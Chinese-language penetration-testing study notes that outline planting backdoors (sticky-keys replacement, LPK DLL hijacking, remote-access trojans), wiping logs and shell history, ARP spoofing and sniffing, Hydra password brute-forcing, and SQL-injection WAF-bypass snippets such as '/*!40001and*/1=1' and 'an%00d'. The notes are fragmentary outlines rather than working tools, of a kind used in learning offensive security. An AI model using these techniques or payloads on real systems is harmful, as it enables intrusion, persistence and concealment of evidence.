安装后门程序
5次shitf setc
生成lpk文件! 当有同一目录下有exe文件运行时!
就会运行lpk文件! 但也不一定运行!
思路就是 : 放到开机自动启动 exe文件目录下! 再次连接时5次shitf就可以触发后门了!
具体的原理 tnl !
一定要知道就是 程序在启动时 会去调用lpk文件! 先调用同一目录里!没有在去调用系统自带的lpk文件!
安装远程控制程序
远控🐎!
安装linux后门

Linux patch命令用于修补文件。 |


记录清除
从扫描开始 到上传木马! 提权都有记录!
win
log目录 htdoc目录
找你的话就是 溯源
linux
httpd
touch * 更新到最新!把文件时间修改下!
touch /root/*
history! -c
内网渗透

信息收集
对本地主机收集!
对网络主机收集!
SMB协议可以为局域网用户提供相关的功能和机制,来保证传输的可靠性。局域网中90%的数据包以及95%的字节是通过SMB协议进行传输,这是为了解决网络的稳定性和数据流在共享带宽时的公平性、拥塞控制及效率等问题。 |
对本地主机收集!
本地帐号信息!
软件帐号密码!

对网络主机收集
可以 arp -a |
思路:
找到文件共享服务器+社工+远控🐎 |

流量监听
wireshark | cain
只能抓明文密码! 抓了密文也不会解密!
cain
能抓明文传输的!https抓不了!
cain能抓 telnet ftp http等等
cain也是通过arp欺骗来获取你的记录!
3389能抓访问他的!
wireshark
攻与防
这wireshark 也可以玩一玩! 我的好像有点问题! 会闪退!🙄
arp欺骗
c段!
就是中间人的作用!
前提是服务器关了! 他会限制流量!
1 静态|绑定
2 arp防火墙
就不行了!
有单向和双向欺骗!
双向 就是 win7出去 和 访问win7的都被欺骗!
钓鱼!
还有的 可以直接黑 网关! 整个网络都被欺骗了!
3年起步!
密码爆破
hydra |九头蛇


绕waf

服务器版的防提权! web版的防网站!


目录

我们在写网站防火墙规则的时候可能都会做一件事:永远不屏蔽那些主流搜索引擎机器人的爬取(如,Google,Bing,Yahoo,Baidu等). |
sql

过and |


and 1=2 |

感染他!^ ^ 提示符号! |


an%00d |


防护不是很严谨的地方! |


就是干扰思路!
/*!40001and*/1=1 |
改变提交方式也很不错! !!!🙄 |


–delay=1
自己写tamper!
突破菜刀

就是中转脚本! 中转到本地!
绕过上传
大小写! |

提权绕过waf

kail
kail学的好!
信息收集


